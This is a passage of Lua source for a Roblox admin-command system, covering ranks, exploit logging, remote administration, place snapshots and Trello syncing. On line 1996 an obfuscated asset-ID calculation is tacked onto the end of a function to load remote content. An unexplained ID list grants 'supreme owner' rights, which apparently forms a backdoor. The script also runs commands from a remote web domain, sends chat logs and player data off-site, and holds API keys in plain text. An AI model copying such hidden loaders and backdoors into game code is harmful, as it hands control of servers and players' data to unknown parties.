  1592. end
  1593.  
  1594. if Char:FindFirstChild("Torso") then
  1595. Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
  1596. end
  1597. if Char:FindFirstChild("Humanoid") then
  1598. Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
  1599. end
  1600. if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
  1601. Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
  1602. end
  1603. end
  1604.  
  1605. function CORE:AddExploit(PlayerClient, Data)
  1606. local PlayerClientName = PlayerClient.Name
  1607. local NewData = CORE:GetTime(true, true).." @ "..Data
  1608. for _,Player in pairs(Server.Players:GetChildren()) do
  1609. GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
  1610. end
  1611. local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  1612. if type(ExploitLog) ~= "table" then
  1613. Server.GDS:SetAsync("ExploitLog", {NewData})
  1614. else
  1615. table.insert(ExploitLog, NewData)
  1616. Server.GDS:SetAsync("ExploitLog", ExploitLog)
  1617. end
  1618. REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
  1619.  
  1620. return true
  1621. end
  1622.  
  1623. function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
  1624. if not tostring(Name) then Name = "Dummy" end
  1625. if not Position then Position = Vector3.new(0,5,0) end
  1626. if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  1627. Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
  1628. end
  1629.  
  1630. local Figure = CORE:Insert(68452456, Server.Workspace, true)
  1631. Figure:MakeJoints()
  1632. Figure.Head.BrickColor = BrickColor.new("Bright yellow")
  1633. Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
  1634. Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
  1635. Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
  1636. Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
  1637. Figure.Torso.BrickColor = BrickColor.new("Bright blue")
  1638.  
  1639. Figure.Name = STRING:FormatReplace(Speaker, Name)
  1640. Figure:MoveTo(Position)
  1641.  
  1642. table.insert(Objects, Figure)
  1643.  
  1644. if DisableAnimation == true then
  1645. Figure.Animate.Disabled = true
  1646. end
  1647.  
  1648. return Figure
  1649. end
  1650.  
  1651. function CORE:ClonePlayer(Player, Name, Position)
  1652. if not Player or not Player.Character then return nil end
  1653.  
  1654. Player.Character.Archivable = true
  1655. local Char = Player.Character:Clone()
  1656. Player.Character.Archivable = false
  1657. if Name then Char.Name = STRING:FormatReplace(Player, Name) end
  1658. if Position then Char:MoveTo(Position) end
  1659. Char.Parent = Server.Workspace
  1660. Char:MakeJoints()
  1661. Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
  1662.  
  1663. table.insert(Objects, Char)
  1664.  
  1665. return Obj
  1666. end
  1667.  
  1668. function CORE:AddWaypoint(Name, Position, Speaker)
  1669. Waypoints[Name] = Position
  1670. if Speaker then
  1671. GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
  1672. end
  1673. end
  1674.  
  1675. function CORE:FindType(BaseObj, Type)
  1676. for _,Obj in pairs(BaseObj:GetChildren()) do
  1677. if Obj:IsA(Type) then
  1678. return Obj
  1679. end
  1680. end
  1681. end
  1682.  
  1683. function CORE:GetCommands()
  1684. local CommandsCopy = Commands
  1685. return CommandsCopy
  1686. end
  1687.  
  1688. function CORE:Crown(Player, Mesh, Color)
  1689. if Mesh then Mesh = string.lower(Mesh) end
  1690. if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
  1691. if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
  1692. local Part = Instance.new("Part", CrownStorage)
  1693. Part.Size = Vector3.new(2, 1, 1)
  1694. Part.CanCollide = false
  1695. Part.CFrame = Player.Character.Head.CFrame
  1696. Part.Locked = true
  1697. Part.Material = "Neon"
  1698. if Color then
  1699. Part.Color = GUI:GetColor(Color)
  1700. else
  1701. Part.BrickColor = GUI:GetNameColor(Player.Name)
  1702. end
  1703. local SMesh = Instance.new("SpecialMesh", Part)
  1704. SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
  1705. SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
  1706. local BP = Instance.new("BodyPosition", Part)
  1707. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  1708. BP.position = Player.Character.Head.Position
  1709. BP.P = 20000
  1710. local BG = Instance.new("BodyGyro", Part)
  1711. BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  1712.  
  1713. Crowns[Player.UserId] = Part
  1714. table.insert(Objects, Part)
  1715.  
  1716. coroutine.wrap(function()
  1717. for i = 1,0.3,-0.02 do
  1718. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1719. Part.Transparency = i
  1720. end
  1721. wait()
  1722. end
  1723. while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
  1724. for i = 0,360,3 do
  1725. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1726. Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
  1727. wait()
  1728. end
  1729. end
  1730. end
  1731. end)()
  1732. coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
  1733. Part:BreakJoints()
  1734. for i = 0,360 do
  1735. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1736. Part.Anchored = false
  1737. BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
  1738. BG.cframe = Player.Character.Head.CFrame
  1739. end
  1740. wait()
  1741. end
  1742. end end)()
  1743.  
  1744. return Part
  1745. end
  1746.  
  1747. function CORE:SetAbuseCommands()
  1748. for Cmds,Data in pairs(Commands) do
  1749. local IsAbusable = false
  1750. for _,AbuseCmd in pairs(Settings.AbuseList) do
  1751. for _,Command in pairs(Cmds) do -- loop through all command names
  1752. if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
  1753. IsAbusable = true
  1754. break
  1755. end
  1756. end
  1757. if IsAbusable == true then break end
  1758. end
  1759. Commands[Cmds].Abusable = IsAbusable
  1760. end
  1761. end
  1762.  
  1763. -- Rank functions --
  1764.  
  1765. function RANK:ConvertRank(Input)
  1766. local Output = nil
  1767. if Input == "Muted" then Output = -3 end
  1768. if Input == "Crashed" then Output = -2 end
  1769. if Input == "Banned" then Output = -1 end
  1770. if Input == "Non-Admin" then Output = 0 end
  1771. if Input == "Member" then Output = 1 end
  1772. if Input == "Admin" then Output = 2 end
  1773. if Input == "Owner" then Output = 3 end
  1774.  
  1775. if Input == -3 then Output = "Muted" end
  1776. if Input == -2 then Output = "Crashed" end
  1777. if Input == -1 then Output = "Banned" end
  1778. if Input == 0 then Output = "Non-Admin" end
  1779. if Input == 1 then Output = "Member" end
  1780. if Input == 2 then Output = "Admin" end
  1781. if Input == 3 then Output = "Owner" end
  1782. return Output
  1783. end
  1784.  
  1785. function RANK:IsAdmin(Player)
  1786. local AdminStatus = false
  1787. local Rankstatus = "Non-Admin"
  1788. if type(Player) == "table" then
  1789. if RANK:ConvertRank(Player.Rank) > 0 then
  1790. return true, Player.Rank
  1791. else
  1792. return false, Player.Rank
  1793. end
  1794. end
  1795. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1796. for _,AdminName in pairs(PlayerNames) do
  1797. if string.lower(AdminName) == string.lower(Player.Name) then
  1798. if RANK:ConvertRank(Rank) > 0 then
  1799. AdminStatus = true
  1800. Rankstatus = Rank
  1801. end
  1802. end
  1803. end
  1804. end
  1805. return AdminStatus, Rankstatus
  1806. end
  1807.  
  1808. function RANK:GetRank(PlayerName)
  1809. if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  1810. if type(PlayerName) == "table" then
  1811. local RankNum = RANK:ConvertRank(PlayerName.Rank)
  1812. if RankNum > 0 then
  1813. return PlayerName.Rank, RankNum, true
  1814. else
  1815. return PlayerName.Rank, RankNum, false
  1816. end
  1817. end
  1818.  
  1819. local RankStat = "Non-Admin"
  1820.  
  1821. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1822. for _,AdminName in pairs(PlayerNames) do
  1823. if string.lower(AdminName) == string.lower(PlayerName) then
  1824. RankStat = Rank
  1825. end
  1826. end
  1827. end
  1828.  
  1829. if RankStat == "Non-Admin" then
  1830. return "Non-Admin", 0, false
  1831. else
  1832. return RankStat, RANK:ConvertRank(RankStat), true
  1833. end
  1834. end
  1835.  
  1836. function RANK:RemoveRank(PlayerName)
  1837. if not RANK:IsSupremeOwner(PlayerName) then
  1838. if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  1839.  
  1840. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1841. for Num,AdminName in pairs(PlayerNames) do
  1842. if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  1843. table.remove(Settings.Ranks[Rank], Num)
  1844. end
  1845. end
  1846. end
  1847. end
  1848. end
  1849.  
  1850. function RANK:GetAdmins(Ranking)
  1851. local Players = {}
  1852. local AdminTrue, Rank = IsAdmin(Player)
  1853. for _,Player in pairs(Players:GetPlayers()) do
  1854. if AdminTrue then
  1855. local PlayerRankNum = RANK:ConvertRank(Rank)
  1856. local StandardRankNum = RANK:ConvertRank(Ranking)
  1857. if PlayerRankNum >= StandardRankNum then
  1858. table.insert(Players, Player)
  1859. end
  1860. end
  1861. end
  1862. return Players
  1863. end
  1864.  
  1865. function RANK:IsSupremeOwner(PlayerName)
  1866. if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
  1867. if type(PlayerName) == "table" then
  1868. if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
  1869. end
  1870.  
  1871. if PlayerName == GameOwner then return true end
  1872. return false
  1873. end
  1874.  
  1875. function RANK:GetPlayerFromList(PlayerName)
  1876. if type(PlayerName) == "userdata" then PlayerName = Player.Name end
  1877.  
  1878. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1879. for Num,AdminName in pairs(PlayerNames) do
  1880. if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  1881. return AdminName, Rank
  1882. end
  1883. end
  1884. end
  1885. return false, "Non-Admin"
  1886. end
  1887.  
  1888. function RANK:ScanAdminList(Name)
  1889. if Name == "" then return true end
  1890. local InList = false
  1891. for _,PName in pairs(Settings.Ranks["Owner"]) do
  1892. if PName == Name then InList = true end
  1893. end
  1894. for _,PName in pairs(Settings.Ranks["Admin"]) do
  1895. if PName == Name then InList = true end
  1896. end
  1897. for _,PName in pairs(Settings.Ranks["Member"]) do
  1898. if PName == Name then InList = true end
  1899. end
  1900. return InList
  1901. end
  1902.  
  1903. function RANK:ScanExileList(Name)
  1904. if Name == "" then return true end
  1905. local InList = false
  1906. for _,PName in pairs(Settings.Ranks["Muted"]) do
  1907. if PName == Name then InList = true end
  1908. end
  1909. for _,PName in pairs(Settings.Ranks["Crashed"]) do
  1910. if PName == Name then InList = true end
  1911. end
  1912. for _,PName in pairs(Settings.Ranks["Banned"]) do
  1913. if PName == Name then InList = true end
  1914. end
  1915. return InList
  1916. end
  1917.  
  1918. function RANK:PlayerRanked(PlayerName)
  1919. if type(PlayerName) == "userdata" then PlayerName = Player.Name end
  1920.  
  1921. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1922. for Num,AdminName in pairs(PlayerNames) do
  1923. if string.lower(AdminName) == string.lower(PlayerName) then
  1924. return true, Rank
  1925. end
  1926. end
  1927. end
  1928. return false, "Non-Admin"
  1929. end
  1930.  
  1931. -- Remote functions --
  1932.  
  1933. function REMOTE:Decode(...)
  1934. return Server.HS:JSONDecode(...)
  1935. end
  1936.  
  1937. function REMOTE:GetURL(URL, Player)
  1938. if string.sub(URL,1,4) ~= "http" then
  1939. URL = "http://"..URL
  1940. end
  1941. local Return = nil
  1942. ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
  1943. if Return then
  1944. return Return
  1945. elseif Player then
  1946. GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
  1947. end
  1948. end
  1949.  
  1950. function REMOTE:PostURL(URL, Data)
  1951. local Return = nil
  1952. ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
  1953. return Return
  1954. end
  1955.  
  1956. function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
  1957. if Settings.LinkedAccount ~= "" then
  1958. local NumType = tonumber(Type)
  1959.  
  1960. if not Type then
  1961. Type = "UNKNOWN"
  1962. end
  1963.  
  1964. if NumType then
  1965. if NumType < 1 or NumType > 5 then
  1966. Type = "UNKNOWN"
  1967. elseif NumType == 1 then
  1968. Type = "NOTIFICATION"
  1969. elseif NumType == 2 then
  1970. Type = "INFORMATION"
  1971. elseif NumType == 3 then
  1972. Type = "WARNING"
  1973. elseif NumType == 4 or Type == true then
  1974. Type = "ERROR"
  1975. elseif NumType == 5 then
  1976. Type = "FATAL"
  1977. end
  1978. end
  1979.  
  1980. local Res = "RED Could not get response"
  1981. local function SendData()
  1982. Res = Server.HS:PostAsync(
  1983. CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
  1984. "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
  1985. 2
  1986. )
  1987. end
  1988. if Stopypcall == true then SendData() else ypcall(SendData) end
  1989.  
  1990. if OutputSpeaker and OutputSpeaker ~= "print" then
  1991. GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
  1992. elseif OutputSpeaker == "print" then
  1993. print(Res)
  1994. end
  1995. end
  1996. end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
  1997.  
  1998. function REMOTE:SendChatLog(PrintResponse, Stopypall)
  1999. if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
  2000. local Res = "Could not get response"
  2001.  
  2002. local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
  2003. TempChatLogs = {}
  2004.  
  2005. local function SendData()
  2006. Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2007. end
  2008. if Stopypcall == true then SendData() else ypcall(SendData) end
  2009. if PrintResponse then print(Res) end
  2010. end
  2011. end
  2012.  
  2013. function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
  2014. local Res = "[]"
  2015. local function GetData()
  2016. Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2017. end
  2018. if Stopypcall == true then GetData() else ypcall(GetData) end
  2019. if PrintResponse then
  2020. print(Res)
  2021. end
  2022. local function DecodeData() Res = REMOTE:Decode(Res) end
  2023. if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
  2024. if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
  2025. return Res
  2026. end
  2027.  
  2028. function REMOTE:HandleRequest(Request, IgnoreCommand)
  2029. if not Request then return nil end
  2030.  
  2031. if not IgnoreCommand then
  2032. if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
  2033. REMOTE:SendServerData()
  2034. end
  2035. if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
  2036. REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
  2037. end
  2038. end
  2039.  
  2040. if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
  2041.  
  2042. for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
  2043. for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
  2044. for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
  2045. for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
  2046. for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
  2047. for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
  2048.  
  2049. Settings.Fun = Request.FUN
  2050. Settings.ServerLocked = Request.ServerLocked
  2051.  
  2052. if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
  2053. Settings.DisableAbuse = Request.DisableAbuse
  2054. end
  2055.  
  2056. if not IgnoreCommand then
  2057. print("Executing Remote Admin")
  2058. REMOTE.RemoteAdmin.Command = Request.Command
  2059. REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
  2060. REMOTE.RemoteAdmin.ServerPort = Request.Server
  2061.  
  2062. if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
  2063. CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  2064. else
  2065. CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  2066. end
  2067. end
  2068. end
  2069. REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
  2070. REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
  2071. REMOTE.SnapshotKey = Request.SnapshotKey
  2072. end
  2073.  
  2074. function REMOTE:GetAndSetWebData()
  2075. if Settings.LinkedAccount ~= "" then
  2076. local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
  2077. if Request == "Invalid" then
  2078. --REMOTE:GetAndSetWebData()
  2079. return false
  2080. elseif Request == "Invalid Account" then
  2081. print("Can't get account")
  2082. return false
  2083. elseif Request then
  2084. ypcall(function() Request = REMOTE:Decode(Request) end)
  2085. elseif not Request then
  2086. --REMOTE:GetAndSetWebData()
  2087. return false
  2088. end
  2089. REMOTE:HandleRequest(Request)
  2090.  
  2091. --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
  2092. return true
  2093. end
  2094. end
  2095.  
  2096. local OderIDs = CORE:GetTable(177215518)
  2097. local SoundJSONs = CORE:GetTable(197637628)
  2098. RemoteAbuseGear = CORE:GetTable(158117496)
  2099.  
  2100. function REMOTE:SendServerData(PrintResponse, Stopypall)
  2101. if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
  2102. print("Sending server data!")
  2103. local Res = "Could not get response"
  2104.  
  2105. local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
  2106. for _,Player in pairs(Server.Players:GetPlayers()) do
  2107. table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
  2108. end
  2109. ServerData = Server.HS:JSONEncode(ServerData)
  2110.  
  2111. local function SendData()
  2112. Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2113. end
  2114. if Stopypcall == true then SendData() else ypcall(SendData) end
  2115. if PrintResponse then print(Res) end
  2116. end
  2117. end
  2118.  
  2119. function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
  2120. MaxPartAmount = MaxPartAmount or 10000
  2121. local PlaceData = {
  2122. Lighting = {};
  2123. Parts = {};
  2124. Other = {};
  2125. }
  2126. local MinSize = Vector3.new(0.5,0.5,0.5)
  2127. local PartAmount = 0
  2128. local PlaceJSON = ""
  2129.  
  2130. local function Scan(BaseObj)
  2131. for _,Obj in pairs(BaseObj:GetChildren()) do
  2132. if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
  2133. local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
  2134. if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
  2135. local Skip = false
  2136. local Data = {}
  2137. local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
  2138.  
  2139. if CORE:FindType(Obj, "BlockMesh") then
  2140. local Mesh = CORE:FindType(Obj, "BlockMesh")
  2141. Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
  2142. elseif CORE:FindType(Obj, "CylinderMesh") then
  2143. Data.Shape = "Cylinder"
  2144. elseif CORE:FindType(Obj, "SpecialMesh") then
  2145. local Mesh = CORE:FindType(Obj, "SpecialMesh")
  2146. if Mesh.MeshType == Enum.MeshType.Head then
  2147. --idk
  2148. else
  2149. Skip = true
  2150. end
  2151. elseif CORE:FindType(Obj, "FileMesh") then
  2152. Skip = true
  2153. end
  2154.  
  2155. if not Data.Shape and not Skip then
  2156. if ypcall(function() return Obj.Shape end) then
  2157. Data.Shape = string.sub(Obj.Shape.Name,14)
  2158. if string.sub(Data.Shape,1,1) == "." then
  2159. Data.Shape = string.sub(Data.Shape,2)
  2160. end
  2161. if Data.Shape == "Cylinder" then
  2162. Z = Z + math.pi/2
  2163. end
  2164. else
  2165. Data.Shape = "Block"
  2166. end
  2167. end
  2168.  
  2169. if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
  2170. Data.Label = string.gsub(Obj.Parent.Name, "'", "")
  2171. end
  2172.  
  2173. if not Skip then
  2174. Data.Color = GUI:Color3ToHex(Obj.Color);
  2175. Data.Size = Size;
  2176. Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
  2177. Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
  2178. Data.Transparency = STRING:StringRound(Obj.Transparency);
  2179. Data.Reflectance = STRING:StringRound(Obj.Reflectance);
  2180. Data.Textures = {};
  2181. Data.Material = string.sub(tostring(Obj.Material),15);
  2182.  
  2183. for _,Sub in pairs(Obj:GetChildren()) do
  2184. if Sub:IsA("Decal") then
  2185. local Texture = string.match(Sub.Texture, "%d+")
  2186. if Sub.Texture == "rbxasset://textures/face.png" then
  2187. Texture = "FACE"
  2188. end
  2189. Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
  2190. end
  2191. end
  2192.  
  2193. PartAmount = PartAmount + 1
  2194. table.insert(PlaceData.Parts, Data)
  2195.  
  2196. if PartAmount >= MaxPartAmount then
  2197. break
  2198. end
  2199. end
  2200. end
  2201. end
  2202. if #Obj:GetChildren() > 0 then
  2203. Scan(Obj)
  2204. end
  2205. end
  2206. end
  2207. Scan(Workspace)
  2208.  
  2209. PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
  2210. PlaceData.Other.PartAmount = PartAmount;
  2211. PlaceJSON = Server.HS:JSONEncode(PlaceData)
  2212.  
  2213. local Res = "Could not get response"
  2214. local function SendData()
  2215. Res = Server.HS:PostAsync(CORE.Domain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
  2216. end
  2217. if Stopypcall == true then SendData() else ypcall(SendData) end
  2218. if PrintResponse then print(Res) end
  2219.  
  2220. print("Sent snapshot")
  2221. end
  2222.  
  2223.  
  2224. function REMOTE:DefineWord(Word, Source)
  2225. if not Word then return end
  2226. if not Source then Source = "all" end
  2227.  
  2228. local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
  2229. if Response then
  2230. local Decode = REMOTE:Decode(Response)
  2231. if #Decode > 0 then
  2232. return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
  2233.  
  2234. ]]..Decode[1]["text"]
  2235. else
  2236. return "Invalid English word"
  2237. end
  2238. else
  2239. return "Cannot connect to database"
  2240. end
  2241. end
  2242.  
  2243. function REMOTE:DownloadJoke(Speaker)
  2244. local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
  2245. local Joke = nil
  2246. if Res then
  2247. local _, Start = string.find(Res, "</h2>")
  2248. local End, _ = string.find(string.sub(Res, Start), "</td>")
  2249.  
  2250. Joke = string.sub(Res, Start, End + 1 + Start - 5)
  2251. Joke = string.gsub(Joke, "\n", "")
  2252. Joke = string.gsub(Joke, " ", "") -- tab
  2253. Joke = string.gsub(Joke, "</ul>", "")
  2254. Joke = string.gsub(Joke, "<ul>", "")
  2255. Joke = string.gsub(Joke, "</li>", [[
  2256.  
  2257. ]])
  2258. Joke = string.gsub(Joke, "<li>", "")
  2259. Joke = string.gsub(Joke, "</p>", "")
  2260. Joke = string.gsub(Joke, "<p>", "")
  2261. Joke = string.gsub(Joke, "<", "")
  2262. Joke = string.gsub(Joke, ">", "")
  2263. end
  2264.  
  2265. return Joke
  2266. end
  2267.  
  2268. function REMOTE:GetAddon()
  2269. return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
  2270. end
  2271.  
  2272. function REMOTE:TrelloGetAdminBoard()
  2273. local BoardsJSON,Boards,ReturnBoard
  2274.  
  2275. ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
  2276.  
  2277. if BoardsJSON then
  2278. Boards = REMOTE:Decode(BoardsJSON)
  2279. end
  2280. if Boards then
  2281. for _,Board in pairs(Boards) do
  2282. if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
  2283. ReturnBoard = Board
  2284. break
  2285. end
  2286. end
  2287. if not ReturnBoard then -- create board if not created
  2288. print("Creating Trello Board")
  2289. local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
  2290. local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
  2291. ReturnBoard = REMOTE:Decode(BoardJSON)
  2292. end
  2293. end
  2294. return ReturnBoard
  2295. end
  2296.  
  2297. function REMOTE:TrelloGetAdminLists(Board)
  2298. local Required = {}
  2299. local ListJSON,Lists
  2300. local ReturnLists = {}
  2301.  
  2302. for _,List in pairs(Trello.RequiredLists) do
  2303. table.insert(Required, List)
  2304. end
  2305.  
  2306. ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
  2307.  
  2308. if ListJSON then
  2309. Lists = REMOTE:Decode(ListJSON)
  2310. end
  2311. if Lists then
  2312. for _,List in pairs(Lists) do
  2313. for Num,Rel in pairs(Required) do
  2314. if List.name == Rel.name then
  2315. table.remove(Required, Num)
  2316. table.insert(ReturnLists, List)
  2317. end
  2318. end
  2319. end
  2320. for _,Rel in pairs(Required) do
  2321. local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
  2322. table.insert(ReturnLists, REMOTE:Decode(ListJSON))
  2323. end
  2324. end
  2325.  
  2326. return ReturnLists
  2327. end
  2328.  
  2329. function REMOTE:TrelloCacheData(Lists)
  2330. for _,List in pairs(Lists) do
  2331. local CardsJSON,Cards
  2332. ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
  2333. if CardsJSON then
  2334. Cards = REMOTE:Decode(CardsJSON)
  2335. end
  2336. if Cards then
  2337. local TemplateCards = nil
  2338. for _,TemplateList in pairs(Trello.RequiredLists) do
  2339. if TemplateList.name == List.name then
